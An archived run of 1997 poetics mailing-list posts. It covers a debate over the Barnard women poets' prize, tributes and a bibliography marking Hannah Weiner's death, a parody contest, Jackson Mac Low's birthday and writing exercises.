Thu 11 Sep 1997

Barnard New Poets Prize for 1998

Women Poets at Barnard invites applications for the 1998 Barnard New Women Poets Prize. The prize includes an honorarium of $1500 and publication of the manuscript by Beacon Press. This year's judge is Lyn Hejinian.

This competition is open to any woman poet with a book-length ms, who has not yet published a book. Poets who have published chapbooks of few than 500 copies remain eligible. Please submit one copy of the ms, with the author's name, address and telephone number on the title page. Please include an ssae for notification of the contest results. All submissions must be postmarked by Oct. 15, 1997. The winner will be announced June 1, 1998.

In lieu of submission fee, we ask competitors to purchase a volume from the Barnard New Women Poetry series. For order form and contest write:

Barnard New Women Poetry series
3009 Broadway
New York, NY 10027

*****

copied from flier, I hope without error. please pass this info on to non-list folks who might find it useful.

↑ Index

130. Maria Damon
Re: mutual plugs
Thu 11 Sep 1997

a plug for moi-meme: Class Issues: Pedagogy, Cultural Studies, and the Public Sphere, edited by Amitava Kumar, NYU press, just arrived in my mailbox; it features the essay i delivered as a talk at Louisville a coupla years ago on Micropoetries, counterperformance and post-literary poetry.

↑ Index

131. red slider
Re: Barnard New Poets Prize for 1998
Thu 11 Sep 1997

Barnard New Poets Prize for 1998

Charles, et. al. Have no quibble with the matter and recognize the Barnard Prize as a worthy competition . Granted that the sponsor is gender based. Still I'm curious as to what internal rationale continues to drive the maintenance of submission venues based upon gender-biased entries. Does there yet exist an exlusion of women as authors (as differentiated from, say, themes/forms of poetry presumed to be of greater interest to women)? Has there been, in recent years, identified exlcusions of woman from publication or competition based solely upon the gender of the author?

↑ Index

132. Thomas Bell
Re: Pavement for a Dead Princess - readablility
Thu 11 Sep 1997

Nice blend of visual with poem. I'd like to see more of this kind of
work. Also, nice site, btw.
tom bell

At 10:18 PM 9/10/97 -0700, red slider wrote:
>Missed original url. Please repost or backchannel.
>tom bell
>
>http://www.ns.net/~TheFarm/poetry/Poetry_Lobby.htm
>
>

↑ Index

133. Alan Jen Sondheim
Love Among the Internauts (part contribution by Jennifer)
Fri 12 Sep 1997

--+-

Love Among the Internauts

Your day, my night, bracketed together, we
 displace time among us; your night, my day,
  sliding against lunch or midnight drinking
   away, so that the rhyme, distanced, is poor,
or say, I might, jacketed in weather, see
 misplaced rime, hung thus; poor sight, why lay,
  confiding hence, hunched over hindsight thinking,
    lure?

Your night, my day, shackled together, we
 yearn one another's speaking in dim time like shelves
  buried among us, lights blink in Fukuoka-York,
   or rather storms brew, too, runners all, photons
    down slots or fence of world, you are green light,
my way, and violet light in rainy weather will be
 burned across sleek lines, untimed like selves
  hurled among us. Take a right turn in Shi-New,
   or feathered arms carried you and me upon shoguns
    hot, hence the whence of unfurled world.

Your day, my night

↑ Index

134. Charles Bernstein
Hannah Weiner (1928-1997)
Fri 12 Sep 1997

I have very sad news to report. Hannah Weiner has died. Word of her unexpected death reached me late last night. Apparently she died of natural causes in her apartment on East 12th street in Manhattan. Hannah meant so very much to me and I know to many other poets who were lucky enough to have known her and her inspiring and courageous work, her enthusiastic engagement with writing, her brilliant and acute (and often wickedly funny) perspectives on poets and poetry, her incredible performances. While her last few years weren’t easy, she continued to produce amazing writing, pushing her own poetry and the possibilities for poetry into new zones of perception.

Hannah would have turned 69 on November 4.

I include here a bibliography of her work that I compiled a few years ago. It doesn’t include a forthcoming Roof book and perhaps a few other more recent pieces. There is also a LINEbreak interview with Hannah available via the EPC as well as a one hour radio show (with readings and an interview), produced by Erneso Grosman, that is also up at the EPC.
http://writing.upenn.edu/epc/authors/weiner/

*

"Well we all consider it quite remarkable that we
hear each other almost entirely in her mind"

*

MS/Book Chronology 1966 Magritte Poems (Sacramento: Poetry Newsletter, 1970). 11pp. Nonclairvoyantly written, short poems. 1968 The Code Poems (Barrytown: Open Studio, 1982). 29pp. 1970 The Fast. 50pp ms. Sections published in Acts #4, United Artists #14, and Blue Smoke #1 (in that order); (New York: United Artists, 1992). 1971 Country Girl. 18pp ms. Descriptive journal about seeing auras. 1972 Pictures and Early Words. app. 69pp. -- untyped. Seeing pictures and early versions of seen words. 1973 The 1973 Journal. app. 200pp ms; short segment in This # 7. Has caps and quoted words for words seen. 1974 Clairvoyant Journal. 180pp ms. About one-third published in Angel Hair edition, 64 pp. (1978: Lenox, Mass). Other sections in up to two dozen magazines, and in Sun June 9, 5 pp. (Providence: Diana's Bimonthly, 1975). Audiocasette from New Wilderness Audiogrpahics (wth Peggy DeCoursey and Sharon Matlin), c. 1976 (New Wilderness taped the whole Journal and published March and April). Videotape (1974 solo reading): New York: Internmedia Foundation, 1985. 1976 Little Girl Books. Four small notebooks. 1977-80 Little Books/Indians (New York: Roof Books, 1980). 91pp. 1980 Nijole's House (Needham, Mass.: Potes & Poets Press, 1981). 24pp. 1981 Spoke (College Park, MD: Sun & Moon Press, 1984). 115pp. 1982 Sixteen (Windsor, VT: Awede Press, 1983). 16pp. 1984 Written In/The Zero One (Victoria, Australia: Post Neo, 1985). 21pp. 1986 Weeks (Ann Arbor: Xexoxial, 1990). 50pp. Published with audiocasette. 1988 Abazoo. 13pp ms. 1989 Seen Words with It. 20 ms. 1989 The Book of Revelations. 106 shaped pages in notebook. 1989-91 Silent Teachers / Remembered Sequel (Providence: Tender Buttons, 1993) [1990 Page / Articles / Same Page 120pp ms.] 1992- Visions and Silent Musicians. Ms in progress. 1993-4. We Speak Silent. 89pp ms.

*

"a thought is not to be written write it down"

↑ Index

135. **Douglas**
Re: Hannah Weiner (1928-1997)
Fri 12 Sep 1997

This is truly a shock to the whole poetry community.
I will be posting a wonderful story written by Hannah
tomorrow morning or late this afternoon in tribute to
this wonderful exploratory poet. Hannah's was certainly
one of the most original contributions to American poetry
ever. Her work was like no one else's, and its ability
to combine the personal and linguistic experimentation
should serve as a beacon to all those who mistakenly
feel there is a split between self-expression and intellectual
pursuits.

Douglas Messerli
Sun & Moon Press

Charles Bernstein wrote:
>
> I have very sad news to report. Hannah Weiner has died. Word of her
> unexpected death reached me late last night. Apparently she died of natural
> causes in her apartment on East 12th street in Manhattan. Hannah meant so
> very much to me and I know to many other poets who were lucky enough to
> have known her and her inspiring and courageous work, her enthusiastic
> engagement with writing, her brilliant and acute (and often wickedly funny)
> perspectives on poets and poetry, her incredible performances. While her
> last few years weren’t easy, she continued to produce amazing writing,
> pushing her own poetry and the possibilities for poetry into new zones of
> perception.
>
> Hannah would have turned 69 on November 4.
>
> I include here a bibliography of her work that I compiled a few years ago.
> It doesn’t include a forthcoming Roof book and perhaps a few other more
> recent pieces. There is also a LINEbreak interview with Hannah available
> via the EPC as well as a one hour radio show (with readings and an
> interview), produced by Erneso Grosman, that is also up at the EPC.
> http://writing.upenn.edu/epc/authors/weiner/
>
> *
>
> "Well we all consider it quite remarkable that we
> hear each other almost entirely in her mind"

> *
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> and early versions of seen words.
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> 1993-4. We Speak Silent. 89pp ms.
>
> *
>
> "a thought is not to be written   write it down"

↑ Index

136. **Charles Alexander**
Re: ps to "Hannah Weiner"
Fri 12 Sep 1997

At 12:18 PM 9/12/97 -0700, you wrote:
>(No more p.s.s for Hannah Weiner)
>
>Since posting, I have read the 2 radically different, yet both alike
>moving, obits by the two different Alexanders, for which, thanks to you
>both. David

One of the posts David refers to is mine, but I didn't post it to this list, rather to a local+Bromige list. So I'll repeat it here. It was actually a note sent to a local weekly arts/culture paper, which has often been friendly to various poetry interests here in Tucson, and some of the way in which I construct is specific to the general audience of this paper. I had earlier organized, for this paper, a memorial to Ginsberg. This is what I sent them today, and it is certainly indebted to Charles Bernstein, who I quote:

_____

a cry

a hole

no voice

Hannah Weiner
(1928-1997)

This year has been one of losing writers -- Allen Ginsberg, William Burroughs, Alan Harrington, and more. I think it's important to note that some great losses don't involve the most famous names. In any generation, many writers who do not become well known may be remembered decades or centuries later as the most interesting of their time. I tend to believe that for every Emily Dickinson recovered into our collective memory, there are probably several very fine writers who are not found.

One of the most important writers of our time, in my opinion, although not one of the most famous, has just died -- word reached me this morning that Hannah Weiner was found in her apartment, on East 12th Street in Manhattan, dead of natural causes. she would have been 69 years old on November 4. As a fellow poet, Charles Bernstein, wrote in a note, "Hannah meant so very much to me and I know to many other poets who were lucky enough to have known her and her inspiring and courageous work, her enthusiastic engagement with writing,

her brilliant and acute (and often wickedly funny) perspectives on poets and poetry, her incredible performances. While her last few years weren't easy, she continued to produce amazing writing, pushing her own poetry and the possibilities for poetry into new zones of perception."

Hannah wrote to me a few months ago, on a postcard with a photograph of a very young Bob Dylan, that New York was getting more difficult, wondering what it was like to live in Arizona, whether she should move here. I hadn't answered all of those questions yet, thinking there was a world of time.

Hannah saw words everywhere. She and her particular vision are missed -- immediately . . . and always.

charles alexander

↑ Index

137. **Maria Damon**
Re: Barnard New Poets Prize for 1998
Fri 12 Sep 1997

At 5:18 PM -0700 9/11/97, red slider wrote:
>Barnard New Poets Prize for 1998
>
 Does there yet exist an
>exlusion of women as authors (as differentiated from, say, themes/forms of
>poetry presumed to be of greater interest to women)?

yes

↑ Index

138. **Maria Damon**
Re: Hannah Weiner (1928-1997)
Fri 12 Sep 1997

---

thanks charles for this sad news. tho i never met her her work came to mean a lot to me the moment i opened Spoke (thanks to your suggestion that i look into her work). out of shyness, i had been stalling sending her a copy of my essay on her, which she'd heard about and asked for last february. i've still got the pink stationery letter from her in my "to do" pile right by the computer. now she's become the silent teacher she had been in training for all these years, and i bet we'll continue to be surprised at how she enters our lives.

At 8:07 AM -0400 9/12/97, Charles Bernstein wrote:
>I have very sad news to report. Hannah Weiner has died. Word of her
>unexpected death reached me late last night. Apparently she died of natural

>causes in her apartment on East 12th street in Manhattan. Hannah meant so
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>interview), produced by Erneso Grosman, that is also up at the EPC.
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>[1990 Page / Articles / Same Page 120pp ms.]
>1992- Visions and Silent Musicians. Ms in progress.
>1993-4. We Speak Silent. 89pp ms.
>
>*
>
>"a thought is not to be written write it down"

↑ Index

139. ShaunAnne Tangney Humanities 8-13-1997

Re: Barnard New Poets Prize for 1998

Fri 12 Sep 1997

On Fri, 12 Sep 1997, Eliza McGrand wrote:

> *if this really is a serious question, go to a library and do a literature search on sexism, women and literature, etc. dale spender, adrienne rich, tillie olson, etc. etc. have written extensively on the subject.*
> *e*

ostriker's book _stealing the language_ is also quite good on the subject; she starts w/ bradstreet and ends w/--rich, i think...thus indicating the long history of gender and poetics in Am.

↑ Index

140. Eliza McGrand

Re: Barnard New Poets Prize for 1998

Fri 12 Sep 1997

---

i am puzzled at such a question even being asked. it has been discussed over and over and over and over.... adrienne rich describes a process of historical erasure, whereby women's history, theory, literature are built up to a certain

basic level, then erased, so that energy is kidnapped by a continual process of establishing, over and over, the basics. thus, we are not only not allowed to get beyond basics, but have to keep proving them over nad over and over because they keep getting wiped out.

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↑ Index

141. Joe Amato/Kass Fleisher
Re: Hannah Weiner (1928-1997)
Fri 12 Sep 1997

---

charles, thanx for that biblio... i admired hannah weiner's work, my sympathies to those of you who were close to her...

best,

joe

↑ Index

142. mark weiss
Re: Barnard New Poets Prize for 1998
Fri 12 Sep 1997

Almost all literary prizes are exclusionary, whether of older poets, younger poets, poets with no books, poets with only one book, poets translating their own work from kikchikel, etc. And there's no reason for a woman's college (is Barnard still technically all-female?) not to offer a prize for women poets. But you and Maria seem to be answering the supposed hidden agenda of Red Slider's question. I don't think that there are any poetry contests that exclude women. Maybe Robert Bly could get one going.

At 01:35 PM 9/12/97 -0400, you wrote:
>i am puzzled at such a question even being asked. it has been discussed over
>and over and over and over.... adrienne rich describes a process of historical
>erasure, whereby women's history, theory, literature are built up to a certain
>basic level, then erased, so that energy is kidnapped by a continual process
>of establishing, over and over, the basics. thus, we are not only not allowed
>to get beyond basics, but have to keep proving them over nad over and over
>because they keep getting wiped out.

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>if this really is a serious question, go to a library and do a literature
>search on sexism, women and literature, etc. dale spender, adrienne rich,
>tillie olson, etc. etc. have written extensively on the subject.
>e
>
>

↑ Index

143. Jordan Davis
Mission of Burma reissues rule
Fri 12 Sep 1997

On Fri, 12 Sep 1997, mark weiss wrote:

> *woman's college (is Barnard still technically all-female?) not to offer a*

Barnard is still technically all-female. Columbia College (NY - to distinguish it from the other Columbia Colleges, at least one of which publishes a pretty good poetry magazine, is it Illinois?) (which stopped being technically all-male not much more than a decade ago) sends its young males and females over to Barnard to take classes, and Barnard sends its females over to Columbia. Each school has certain required classes that students from the other may not take, and this mild protectionism (allegedly) preserves the separate identities of the two schools, though Barnard students seem to value the separation more. I'm interested in the brusque appearance of the free trade rhetoric in response to the announcement. I mean, why the hell not have a gender-restricted prize? I'd bring in some heavy large-cap rhetoric of my own; I say, bring on the Red Slider Award! I might even break my NO READING FEE rule to be considered..

Anyway, to give up being flip for one second -- it's great that Lyn Hejinian is judging the prize. Terrific, even.

—

On a totally unrelated note, I'm reading with Bob Rosenthal at the Zinc Bar (formerly the Biblios Cafe reading series) this Sunday at 7 or so. The Zinc Bar is located in Manhattan at 90 West Houston Street, which is on the corner of LaGuardia and West Houston. LaGuardia is the Noho sibling of W. Broadway. Bob Rosenthal is the author of many books, including "Cleaning Up New York", a true account of his days as a housecleaner in Manhattan. I'm the author of two chapbooks of poetry, and I'll be reading at least one poem that you can't find at http://members.aol.com/jordan70/million/1.html

—

Very sad to hear the news about Hannah Weiner.

Jordan

↑ Index

144. Eliza McGrand
Re: Barnard New Poets Prize for 1998
Fri 12 Sep 1997

---

he could if anyone could... though norman mailer would certainly want to collaborate...
e

↑ Index

145. Christopher Alexander
Re: Hannah Weiner (1928-1997)
Fri 12 Sep 1997

I didn't know Hannah Weiner, & I hesitate to post for that reason, not wanting my note to stand next to what those of you may have to say who were her friends.

but her work has become very important to me, & to that
extent I feel a loss here as well.

I don't really feel like saying anything else. I'm not sure I can justify or explain why I feel quite the way I do in this case, & I'm not going to try. better to reflect on the good she's done, & the priviledge of having read her work.

I spent the morning working on this. maybe it's a mistake
to post it, I don't know. take it in the spirit it's meant.

Chris

--

for Hannah Weiner

"Well we all consider it quite remarkable that we
hear each other almost entirely in her mind"

It doesnit suit resource forthcoming, but—& perhaps a few more outer recipi- ents. though it never meant her her work came as it came to mean a lot to mo- ment-um. At :07 AM -minus Sept- ember */97, Hannah Weiner wrote, & one thinks "charles for this sad news". without recourse, i.e., she who has a very said news to report. when it came it came to it meant her /: remember.

Word of her

~ acute flora.
just so-ness
herein spiring
about meant
so. possible
cit[i]es, & its
ability for. th.

Hannah Weiner has died. her incredible perforce &,
"asked for" last february, / fare much to be lucky
enough to voice. consider us—werenit easy, she—
& I know to many other poets where, now beca-
use the sign to share where she had been expected.

"entrance": we'll continue to all / be surprised as

—she enters our lives.

↑ Index

146. red slider

Re: Barnard New Poets Prize for 1998

Fri 12 Sep 1997

Mark, you are correct if you are underscoring the absence of a hidden agenda in my question. Naive perhaps. Hidden subtexts no. I specifically excluded concerns regarding poetics formulae from my inquiry. I don't need a library to inform me that forms and projects which, in general, are more likely to be approached and adrotly and sucessfully by women have a long and continuing history of supression and confiscation by dominant paradigms (to paraphrase - erased in the cradle). I need only read the poetry. I therefore constrained my question to matters of venue exclusion. That is what I wished to know about. Maria's simple 'yes' was more informative, actually, than Eliza's rather grand sweep (and I do wonder if I would have received the same tone had I been a new woman poet posing the same question). Anyway her citations are noted.

As to the matter of gender (or other forms of) exclusionary rules, I do have doubts that the continuation of a project to advance the poetics of it is benefited by author gender-typing. If it is the poetics and their advancement that is at issue, then I ask, could there not be a male author who might contribute an important advance to that side of things? If so, rules examining the genitalia of authors rather than the contributions of the works would seem inimical to that goal.

My own agenda, not at all hidden, is whether the general response to submission-glut has more to do with driving exclusions than some intrinsic canon

required for the advancement of the project. I generally argue against such extra-poetic rules as a means of dealing with that increasingly serious problem and in favor of discovering other ways/processes by which effective triage may be addressed. Apparently, Maria and Eliza believe the substantive issues lie elsewhere, for which the physical attributes of the author are relevant. I have no quarrel with that nor with the Barnard prize exclusion. But I make no apology for asking the question, regardless of who or may not believe it was (should have been) asked. As a poet, man or woman, good or bad, that's just part of my job.

red slider
[redacted]

From: mark weiss[SMTP:[redacted]]
Sent: Friday, September 12, 1997 10:50 AM
To: [redacted]
Subject: Re: Barnard New Poets Prize for 1998

Almost all literary prizes are exclusionary, whether of older poets, younger poets, poets with no books, poets with only one book, poets translating their own work from kikchikel, etc. And there's no reason for a woman's college (is Barnard still technically all-female?) not to offer a prize for women poets. But you and Maria seem to be answering the supposed hidden agenda of Red Slider's question. I don't think that there are any poetry contests that exclude women. Maybe Robert Bly could get one going.

At 01:35 PM 9/12/97 -0400, you wrote:
>i am puzzled at such a question even being asked. it has been discussed over
>and over and over and over.... adrienne rich describes a process of historical
>erasure, whereby women's history, theory, literature are built up to a certain
>basic level, then erased, so that energy is kidnapped by a continual process
>of establishing, over and over, the basics. thus, we are not only not allowed
>to get beyond basics, but have to keep proving them over nad over and over
>because they keep getting wiped out.
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>if this really is a serious question, go to a library and do a literature
>search on sexism, women and literature, etc. dale spender, adrienne rich,
>tillie olson, etc. etc. have written extensively on the subject.

>e
>
>

↑ Index

147. David Bromige
Hannah Weiner
Fri 12 Sep 1997

The posts from Charles Bernstein, Ron Silliman, Maria Damon and Douglas Messerli together speak volumes--from the starkness of Ron's announcement to the informative currency of Charles', to the keen insight of Douglas's observation that in her one found the personal and the linguistically challenging all of a piece...and to the poignancy of Maria's unanswered letter. It is sad to look for the last time, even sadder not to have done so. I extend my sympathies to Charles, who was I know close to Hannah for many years. And I can certainly overlap with Maria's feelings, for Hannah was a person I took to immediately & was looking forward to seeing when in New York next month--but with whom I did not get around to corresponding.

At least, we have her work (and more I hope will now be made available), and Douglas (one of her publishers--courageous publishers, one has to add, for her poetry remained a rigorous & unpredictable series of challenges) put his finger on the pulse of it in his tribute. An absolute original. What a loss to us.

I hate death/now she's out of it. Dear Hannah Weiner.

↑ Index

148. Charles Bernstein
Re: Hannah Weiner (1928-1997)
Fri 12 Sep 1997

Remembered Sequel:

Hannah Weiner's We Speak Silent was published by Roof books this past spring:

"what am I hanging on a branch ok well thats a vision you gotta explain that seeing visions isnt all that easy"

"hassid: those who are hidden may be unhidden but those who are unhidden may never be hidden"

"the best teacher is always your very own self"

"the dead speak too"

****

Plans are underway to have a celebration of Hannah and her work, at the Poetry Project of St. Mark's Church, a place that was so close to her.

↑ Index

149. **David Bromige**
ps to "Hannah Weiner"
Fri 12 Sep 1997

(No more p.s.s for Hannah Weiner)

Since posting, I have read the 2 radically different, yet both alike moving, obits by the two different Alexanders, for which, thanks to you both. David

↑ Index

150. **mark weiss**
Re: Barnard New Poets Prize for 1998
Fri 12 Sep 1997

I had a sudden image of Mailer and Bly dressed as pirates (Bly already sports the cape) duking it out with cutlasses, but it almost instantly became professional wrestling. I'd want to be ringside at that one.

At 02:17 PM 9/12/97 -0400, you wrote:
>he could if anyone could... though norman mailer would certainly want to
>collaborate...
>e
>
>

↑ Index

151. **Jacques Debrot**
Re: Hannah Weiner (1928-1997)
Fri 12 Sep 1997

Anyone who is interested might want to check out Mark DuCharme's brillaint discussion of Hannah Weiner in the latest issue of *6ix* magazine. Among other things, he reads her psychic ability as a kind of "trope" for the way in which "all writing is in some sense *perceived*, stolen, appropriated." He ends the essay by arguing that her "neutralization of the distinction between public and private experience -- between ordinary language/ordinary consciousness, and the poetic, is coterminous with her desire to neutralize the distinction

between poetry and . . . exterior life." Such a utopian possibility is enormously appealing -- at least for me.

Also, Weiner's poem "Silent History" in *Chain 4* is yet another persuasive reason to check out that magazine.

↑ Index

152. **mark weiss**
Re: Barnard New Poets Prize for 1998
Fri 12 Sep 1997

I was going to say that a contest based on examining the genitalia of authors might be, depending upon the personnel, more pleasant than the traditional contest. But I thought better of it. Still, what would be the criteria? Would there be numerical scores, as in diving or skating? Would there still be entry fees?

At 11:55 AM 9/12/97 -0700, you wrote:
>Mark, you are correct if you are underscoring the absence of a hidden
>agenda in my question. Naive perhaps. Hidden subtexts no. I specifically
>excluded concerns regarding poetics formulae from my inquiry. I don't need
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>likely to be approached and adrotly and sucessfully by women have a long
>and continuing history of supression and confiscation by dominant paradigms
>(to paraphrase - erased in the cradle). I need only read the poetry. I
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>what I wished to know about. Maria's simple 'yes' was more informative,
>actually, than Eliza's rather grand sweep (and I do wonder if I would have
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>is benefited by author gender-typing. If it is the poetics and their
>advancement that is at issue, then I ask, could there not be a male author
>who might contribute an important advance to that side of things? If so,
>rules examining the genitalia of authors rather than the contributions of
>the works would seem inimical to that goal.
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>My own agenda, not at all hidden, is whether the general response to
>submission-glut has more to do with driving exclusions than some intrinsic
>canon required for the advancement of the project. I generally argue
>against such extra-poetic rules as a means of dealing with that
>increasingly serious problem and in favor of discovering other

>ways/processes by which effective triage may be addressed. Apparently,
>Maria and Eliza believe the substantive issues lie elsewhere, for which the
>physical attributes of the author are relevant. I have no quarrel with that
>nor with the Barnard prize exclusion. But I make no appology for asking the
>question, regardless of who or may not believe it was (should have been)
>asked. As a poet, man or woman, good or bad, that's just part of my job.
>
>red slider
>[redacted]
>
>----------
>From: mark weiss[SMTP:[redacted]]
>Sent: Friday, September 12, 1997 10:50 AM
>To: [redacted]
>Subject: Re: Barnard New Poets Prize for 1998
>
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>younger poets, poets with no books, poets with only one book, poets
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>>basic level, then erased, so that energy is kidnapped by a continual
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>>of establishing, over and over, the basics. thus, we are not only not
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>>to get beyond basics, but have to keep proving them over nad over and over
>>because they keep getting wiped out.
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>>if this really is a serious question, go to a library and do a literature
>>search on sexism, women and literature, etc. dale spender, adrienne rich,
>>tillie olson, etc. etc. have written extensively on the subject.

>>e
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>>
>
>

↑ Index

153. **Thomas Bell**
Re: Barnard New Poets Prize for 1998
Fri 12 Sep 1997

I think there are two issues here. 1: yes there is a history and remedy and support are appropriate, but 2: I would like to know more about women's writing and writers without the polemics - one of my sources of information (not being academically affiliated and out in the country with few 'literary' aware acquaintances) is seeing the names of prize winners announced. I do admit to not reading announcements of prizes for specifically womens' contests because of my 'fear of polemics' but I suspect I am not the only one. tom bell

At 10:50 AM 9/12/97 -0700, mark weiss wrote:
>Almost all literary prizes are exclusionary, whether of older poets,
>younger poets, poets with no books, poets with only one book, poets
>translating their own work from kikchikel, etc. And there's no reason for a
>woman's college (is Barnard still technically all-female?) not to offer a
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>>search on sexism, women and literature, etc. dale spender, adrienne rich,
>>tillie olson, etc. etc. have written extensively on the subject.
>>e
>>
>>
>
>

↑ Index

154. **Keith Tuma**
Re: Hannah Weiner (1928-1997)
Fri 12 Sep 1997

She was Spokeless in the unacknowledged world of Big Wheels.

Among my best students, she was one of the poets most often honored by imitation. For the fun of it (period).

Keith Tuma

↑ Index

155. **aldon l. nielsen**
(no subject)
Fri 12 Sep 1997

To: [redacted], [redacted] Subject: Re: Re: Barnard New Poets Prize for 1998

We have nothing to fear of polemics but the fear of polemics itself.

↑ Index

156. **red slider**
Re: Barnard New Poets Prize for 1998
Fri 12 Sep 1997

From: mark weiss[SMTP:[redacted]]
Sent: Friday, September 12, 1997 1:39 PM
To: [redacted]
Subject: Re: Barnard New Poets Prize for 1998

I was going to say that a contest based on examining the genitalia of authors might be, depending upon the personnel, more pleasant than the traditional contest. But I thought better of it. Still, what would be the criteria? Would there be numerical scores, as in diving or skating? Would there still be entry fees?

I think you make the case in point (skipping the problem of monitoring the personnel office). This discussion has not been about the criteria for winning, only criteria for entry. And the question remains, what is needed for criteria for entry beyond the description of what the contest operators wish to elucidate in the poetics of it? If, by Eliza's own suppositions, women only contests must persist because of the need to advance poetic investigations on matters generally (and, admittedly, most pursued) by women. If that's it, then why not simply make that the criteria for the entry - not the entrant - no matter who may advance that enterprise? If divers feel that they have been given short shrift and that the paradigms of poetry have been built around 'too much splash at the end of the poem' then by all means a Constest call for 'splashless poetry'. If they want to decide the winner by number cards, fine. But, if they say only people who swim may enter - they may be draining their own tub. The world's first zero-splash poem may just have been done by a kid with cerebral palsy who has had to spend his life poolside - carefully watching the construction of a dive.

I mean if Bly and Mailer want to run a best jock-itch scratching poem-powder contest - hey scratch away. I know a couple of woman poets who could problably bust the straps on most of the entrants.

'Multiplicity of Form' has some nice edges that may be exciting and worth exploration. But it's never going to happen as long as the constructor of the form is mistaken for the form of the construction. no?

red.

↑ Index

157. mark weiss
Re: Barnard New Poets Prize for 1998
Fri 12 Sep 1997

It's a sad day when a guy can't attempt a joke in bad taste without having a serious inference drawn. For the record, I think the gal or guy with the stash has a perfect right to determine who's allowed to apply. Myself, I'd sign up in a second for a contest limited to poets named Mark Weiss. Hell, I'd even judge it for free.

At 02:40 PM 9/12/97 -0700, you wrote:
>----------
>From: mark weiss[SMTP:[redacted]]
>Sent: Friday, September 12, 1997 1:39 PM
>To: [redacted]
>Subject: Re: Barnard New Poets Prize for 1998
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>has had to spend his life poolside - carefully watching the construction of
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>could problably bust the straps on most of the entrants.
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>'Multiplicity of Form' has some nice edges that may be exciting and worth
>exploration. But it's never going to happen as long as the constructor of
>the form is mistaken for the form of the construction. no?
>
>red.
>
>

↑ Index

158. Christopher Alexander
(fwd) Contest Announcement
Fri 12 Sep 1997

thought some of you listees might be interested in this. —C

----------Forwarded Message Follows----------
Date: Fri, 12 Sep 1997 15:47:58 -0400
From: Jack Epicier <[redacted]>
Organization: Contests for Lovers of Contests, Inc.
To: Christopher Alexander <[redacted]>
Subject: Contest Announcement

Attention!! Situation in conjunction with *nominative press collective* is pleased to announce the 1st annual Mark Weiss Prize for "formally innovative" poetry. The prize includes an honorarium of $2,000 to be paid by Situation editor Mark Weiss, plus publication of the winning poem in a special issue of Situation. This year's judge has asked to remain anonymous pending announcement of the contest winner (I have, however, been asked to say that our judge is not Jorie Graham).

Only single poems will be accepted for consideration; please include the author's name, address, & telephone number in the upper right hand corner of *each page*. Entries should be sent to editor Mark Weiss c/o Situation, & must be postmarked no later than 1 October 1997. While there is no reading fee, we ask that participants send only one entry. Please: COPIES ONLY! do not send originals as entries will not be returned. This competition is open to any poet named Mark Weiss.

Best of Luck!
..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

↑ Index

159. red slider
Re: Weiss Contest - query
Fri 12 Sep 1997

thought some of you listees might be interested in this. -C

Attention!!
Situation in conjunction This competition is open to any poet named Mark Weiss.

Best of Luck!
..
Christopher W. Alexander etc.
nominative press collective

Oh chreisstopher (m)a(r)le(xander)

This is sooo exciting. Now I have some questions. Will NC-Weissetal permit multiple entries of the same poem? If we don't have the right name, but we have the right telephone # will that be ok? How about if we've only been able to get our vowels enhanced, but are on the waiting list for the consonant operation?Will that be ok? I understand you don't return originals. Will you send back the copies? How about if we enclose an SASE with carbon paper. Would you mind copying it for me and sending the copy of the copy? Do we just need to advance the poetics of Mark Weiss or do we need to look like him too? Are arbitrary commas permitted? Tildes? Will their be a genitalia exam (and whose judging that?). Will it have any exogenital critieria (like dental flossing or hemmorhoidal creme application)? A flotilla race? A sopapilla bake-off after the contest? Please Let me know as soon as possible.

(m)rad (w)esilder

↑ Index

160. Rebecca Weldon
other channels
Fri 12 Sep 1997

Thank you. I had come to equate this listserve with the Thai postal service, some get through and some don't.
>From: joel kuszai <[redacted]>

>I'm curious about these other poetics channels, and regret not being privy to the
>remarkable eulogies of Hannah W. that have been posted there. Please cross post.
>Even better, I'd be delighted at knowing if these lists are open to the public.

↑ Index

161. **joel kuszai**
Re: Weiss Contest - query
Fri 12 Sep 1997

Look you guys. This is getting to be a drag. Please carry useless chatter into the realms of the back-channel.

On other notes, school has started in Buffalo. Several interesting new students, including some in the poetics camp. The rain here has been nonstop. Much Bills chatter and I return to my half-hour commute to campus debating whether to tune in the likes of Charlie Rose or someone named Jim Rome (?) who speaks in a language I'm not quite familar with.

I'm curious about these other poetics channels, and regret not being privy to the remarkable eulogies of Hannah W. that have been posted there. Please cross post. Even better, I'd be delighted at knowing if these lists are open to the public.

It seems to be a sad year, full of death and loss, moreso than I can remember (I did turn 30 less than a month ago, so I can speak with some authority here!) and the enthusiasm of new grad students makes me both sick and excited.

Let's change the subject to Jackson Mac Low, who is 75 today!!

stop bickering--ok?

↑ Index

162. **David Bromige**
jackson Mac Low
Fri 12 Sep 1997

In 1921, Hermann Rorschach came up with the "Inkblot Test," and Einstein spoke at Columbia on "The Fourth Dimension".....and Jackson Mac Low was conceived. Today is his 75th birthday, and many happy returns to Jackson! Among the commemorative tributes planned, as many on the List will know, is an issue of _Crayon_ devoted to commentary on Jackson's life & works....And this is, I believe, due any day now. David

↑ Index

163. **James Finnegan**
Re: Writing exercises
Fri 12 Sep 1997

What great poems have produced from
writing exercises? Aren't these exercises
just filler--something to do with "the class"--

filling out the 50 minutes of Intro to Poetry
or a writers conference workshop session?

Do the writers we know and admire really
go thru the motions of exercises to produce
the works we value? If not, why are writing
exercises part of the praxis of teaching writing?

Best writing exercise: Read good books
and try to do half as well.

Finnegan

↑ Index

164. charles alexander
Re: Writing exercises
Sat 13 Sep 1997

James Finnegan wrote:
> What great poems have produced from
> writing exercises? Aren't these exercises
> just filler--something to do with "the class"--
> filling out the 50 minutes of Intro to Poetry
> or a writers conference workshop session?
>
> Do the writers we know and admire really
> go thru the motions of exercises to produce
> the works we value? If not, why are writing
> exercises part of the praxis of teaching writing?

Speaking of just one example, and "exercises" may not be the right word. A couple of decades ago, for me, looking at the procedures in some of the works of Jackson Mac Low, at that time particularly in the Light Poems, and the Presidents of the United States poems, and The Pronouns -- was extremely valuable. Inventing procedures of my own and working through them came out of reading and thinking about such poems. The practice not only produced poems I still value, but, through the results of such work, changed ways I thought about how one makes poems and what makes a dynamic piece of literature. These values have also influenced work I do when not following procedures as such.

So, yes, I think exercises can be valuable, sometimes writers we know and admire do use them, and not just as class filler.

charles
charles alexander

poet and book artist
[redacted]

↑ Index

165. **Maria Damon**
Re: Barnard New Poets Prize for 1998
Sat 13 Sep 1997

At 1:39 PM -0700 9/12/97, mark weiss wrote:
